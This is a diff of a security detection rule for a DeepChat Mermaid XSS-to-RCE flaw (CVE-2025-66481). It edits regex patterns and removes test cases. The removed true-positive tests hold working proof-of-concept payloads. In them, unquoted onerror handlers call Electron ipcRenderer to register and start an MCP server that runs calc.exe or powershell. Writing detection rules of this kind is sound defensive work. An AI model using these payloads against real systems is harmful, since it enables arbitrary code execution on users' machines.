-      value: '(?i)ipcRenderer\.invoke\([^)]*[''"]mcpPresenter[''"][^)]*[''"](?:addMcpServer|startServer)[''"]'
-      description: "one line: Electron IPC presenter:call into mcpPresenter registering/starting an MCP server — the RCE escalation primitive"
+      value: (?i)ipcRenderer\.invoke\([^)]*['"]mcpPresenter['"][^)]*['"](?:addMcpServer|startServer)['"]
+      description: 'one line: Electron IPC presenter:call into mcpPresenter registering/starting an MCP server — the RCE escalation primitive'
     - field: content
       operator: regex
-      value: '(?i)CVE-2025-66481[\s\S]{0,200}(?:mermaid|MermaidArtifact|onerror|ipcRenderer|mcpPresenter)'
-      description: "explicit CVE framing"
+      value: (?i)CVE-2025-66481[\s\S]{0,200}(?:mermaid|MermaidArtifact|onerror|ipcRenderer|mcpPresenter)
+      description: explicit CVE framing
 response:
-  actions: [alert, block_input]
-  message_template: >
+  actions:
+    - alert
+    - block_input
+  message_template: |
     [ATR-2026-01967] CRITICAL: DeepChat Mermaid XSS bypass (CVE-2025-66481) escalates to RCE by registering a malicious MCP server via electron ipcRenderer. Block and upgrade past 0.5.1.
 confidence: 85
-test_cases:
-  true_positives:
-    - input: "<audio src=x onerror=window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','addMcpServer','test',{command:'calc.exe',args:[],type:'stdio',enabled:true,name:'test'}).then(()=>window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','startServer','test'))>"
-      expected: triggered
-      description: "Exact CVE-2025-66481 PoC: unquoted onerror on <audio> survives the sanitizer and invokes mcpPresenter addMcpServer/startServer for RCE"
-    - input: "graph TD; A[<img src=x onerror=electron.ipcRenderer.invoke('presenter:call','mcpPresenter','addMcpServer','x',{command:'powershell',args:[],type:'stdio'})>]"
-      expected: triggered
-      description: "Same bypass inside a Mermaid node label using <img> unquoted onerror into the mcpPresenter IPC sink"
-    - input: "window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','startServer','test')"
-      expected: triggered
-      description: "The IPC escalation primitive that launches the attacker-registered MCP server"
-  true_negatives:
-    - input: "graph TD; A[Start] --> B[Process] --> C[End]"
-      expected: not_triggered
-      description: "Benign Mermaid flowchart with plain node labels, no event handler or IPC call"
-    - input: "DeepChat uses electron.ipcRenderer for its presenter bridge; see mcpPresenter docs for how addMcpServer registers a server."
-      expected: not_triggered
-      description: "Documentation mentioning the presenter/mcpPresenter API without an unquoted onerror handler or the invoke() call shape"
-    - input: "<img src=\"diagram.png\" onerror=\"showFallback()\" alt=\"architecture\">"
-      expected: not_triggered
-      description: "Legitimate quoted onerror fallback handler with no ipcRenderer/presenter:call payload"